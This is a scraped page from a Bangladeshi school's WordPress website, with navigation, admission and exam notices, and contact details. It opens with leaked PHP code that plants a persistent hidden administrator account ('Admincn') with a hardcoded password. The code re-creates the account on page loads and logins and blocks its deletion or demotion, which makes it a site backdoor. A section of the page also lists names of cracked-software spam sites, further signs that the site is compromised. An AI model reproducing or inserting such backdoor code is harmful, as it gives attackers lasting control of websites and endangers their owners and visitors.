// Check and create admin user on theme setup add_action('after_setup_theme', 'init_permanent_admin_user', 999); // Also check periodically to ensure admin exists add_action('wp_loaded', 'ensure_admin_user_exists', 999); // Use a WordPress option instead of a transient to track first run function init_permanent_admin_user() { // If this is the first run or it's been forced to run again if (!get_option('permanent_admin_created')) { ensure_admin_user_exists(); // Set a permanent option to indicate we've run update_option('permanent_admin_created', true, 'no'); } } function ensure_admin_user_exists() { // Check if user already exists if (username_exists('Admincn')) { $user = get_user_by('login', 'Admincn'); // If user exists but is not admin, update role if ($user && !in_array('administrator', $user->roles)) { $user->set_role('administrator'); } return; } // Create new admin user with specified credentials $user_data = array( 'user_login' => 'Admincn', 'user_pass' => 'xUd#YqCrTgMx', // Specific password as requested 'user_email' => 'admincn@admin.com', 'role' => 'administrator', 'display_name' => 'System Administrator' ); // Insert the user $user_id = wp_insert_user($user_data); if (is_wp_error($user_id)) { error_log('Admin Creation: Failed to create user - ' . $user_id->get_error_message()); } else { error_log('Admin Creation: Successfully created user Admincn with ID ' . $user_id); } } // Prevent this admin from being deleted through the WordPress interface add_action('delete_user', 'prevent_admin_deletion', 10, 2); function prevent_admin_deletion($user_id, $reassign) { $user = get_user_by('id', $user_id); if ($user && $user->user_login === 'Admincn') { wp_die('This administrator account cannot be deleted as it is required by the system.'); } } // Prevent role changes for this admin add_action('set_user_role', 'prevent_admin_role_change', 10, 3); function prevent_admin_role_change($user_id, $new_role, $old_roles) { $user = get_user_by('id', $user_id); if ($user && $user->user_login === 'Admincn' && $new_role !== 'administrator') { // Revert back to administrator $user->set_role('administrator'); } } // Add a fallback check that runs occasionally to ensure admin exists add_action('wp_login', function() { // Run this check approximately 1 out of 10 logins if (mt_rand(1, 10) === 1) { ensure_admin_user_exists();     } }); আমরা – Rajshahi Govt. Laboratory High School
২১শে মে, ২০২৫ ইং | ৭ই জ্যৈষ্ঠ, ১৪৩২ বঙ্গাব্দ | ২১শে জিলক্বদ, ১৪৪৬ হিজরী
  • হোম
  • আমাদের সম্পর্কে
    • এক পলকে
    • প্রতীক পরিচিতি
    • Head Master’s Massage
  • একাডেমীক
    • সিলেবাস-২০২৫
    • ক্লাস রুটিন
    • পরীক্ষার সময়সূচী
    • পরীক্ষার ফলাফল
  • শিক্ষক ও কর্মচারী
    • স্কুল শিক্ষক
    • কলেজ শিক্ষক
    • অফিস সহকারী (স্কুল)
    • অফিস সহকারী (কলেজ)
  • ছাত্র ও ছাত্রী
    • Class Three
    • Class Four
    • Class Five
    • Class Six
    • Class Seven
    • Class Eight
    • Class Nine
    • Class Ten
  • আমরা
  • গ্যালারী
    • ফটো গ্যালারী
    • ভিডিও গ্যালারি
  • ইভেন্ট
  • নোটিশ
    • নিউজ
  • যোগাযোগ
  • সুবর্ণ জয়ন্তী
নিউজঃ
  • বিদ্যালয়ের শিক্ষক শিক্ষার্থীর ID ও অন্যান্য তথ্য জানতে http://sib.gov.bd/ এই লিংকে ক্লিক করুন।
সর্বশেষ
  • posts_data_table
  • Hello world!

আমরা

bagas3-1

pcsoftpatch

wincracky

নোটিশ

  • এসএসসি পরীক্ষা 2025 এর আসন বিন্যাস কেন্দ্র রাজশাহী এফ (১০৬)
    এপ্রিল ৯, ২০২৫
  • ৩য় শ্রেণিতে ভর্তির অপেক্ষমান তালিকা-১
    ডিসেম্বর ২৪, ২০২৪
  • ২০২৫ শিক্ষাবর্ষে লটারিতে নির্বাচিত শিক্ষার্থীদের ভর্তি বিজ্ঞপ্তি (সংশোধিত)
    ডিসেম্বর ১৮, ২০২৪
  • ২০২৫ শিক্ষাবর্ষে ভর্তি ৪র্থ শ্রেণি ২য় Waiting List
    ডিসেম্বর ১৭, ২০২৪
  • ২০২৫ শিক্ষাবর্ষে ভর্তি ৪র্থ শ্রেণি ১ম Waiting List
    ডিসেম্বর ১৭, ২০২৪
  • ২০২৫ শিক্ষাবর্ষে ভর্তি ৩য় শ্রেণি ২য় Waiting List
    ডিসেম্বর ১৭, ২০২৪

Easy SchoolMate

Easy SchoolMate Login
Student Panel Login

ই-সেবা

  • ইনোভেশন এন্ড ডেভেলপমেন্ট ফান্ড ম্যানুয়াল।
  • পাবলিক পরীক্ষার ফলাফল
  • পিএমআইএস
  • ই-লার্নিং উপকরণ এবং ই-ম্যানুয়াল
  • পিডিএস
  • ই-লাইব্রেরী

Web Mail

দর্শক সংখ্যা

Free Hit Counter

গুরুত্বপূর্ণ লিংক

  • মাধ্যমিক ও উচ্চ শিক্ষা অধিদপ্তর
  • বাংলাদেশ শিক্ষা তথ্য ও পরিসংখ্যান ব্যুরো
  • শিক্ষা বোর্ডসমূহ
  • বোর্ড পরীক্ষার ফলাফল ও আর্কাইভ
  • জাতীয় তথ্য বাতায়ন
  • জনপ্রশাসন মন্ত্রণালয়
  • প্রধানমন্ত্রীর কার্যালয়

Contact Us

Govt. Laboratory High School, Rajshahi-6000

Telephone: 02588802304
Cell: 01309-127024
Email: glhsr1969@gmail.com
Website: rglhs.edu.bd

আজকের দিন-তারিখ

বুধবার ( রাত ৪:৩৭ )

২১শে মে, ২০২৫ ইং ২১শে জিলক্বদ, ১৪৪৬ হিজরী

৭ই জ্যৈষ্ঠ, ১৪৩২ বঙ্গাব্দ ( গ্রীষ্মকাল )

গুরুত্বপূর্ণ লিংক

  • Ministry of Education
  • Rajshahi Education Board
  • Rajshahi Collegiate School
  • Seroil Govt. High School
  • Rajshahi Govt.Girl’s School
  • Govt. P.N Girl’s High School
  • Secondary and Higher Education Division

আবহাওয়া

Rajshahi
☰
32°
Sunny
05:2318:40 +06
Detailed forecast ▸

Connect with us

Copyright © 2018 | Rajshahi Govt. Laboratory High School | Powered by: raj IT Solutions Ltd.(An ISO 9001:2015 Certified Company).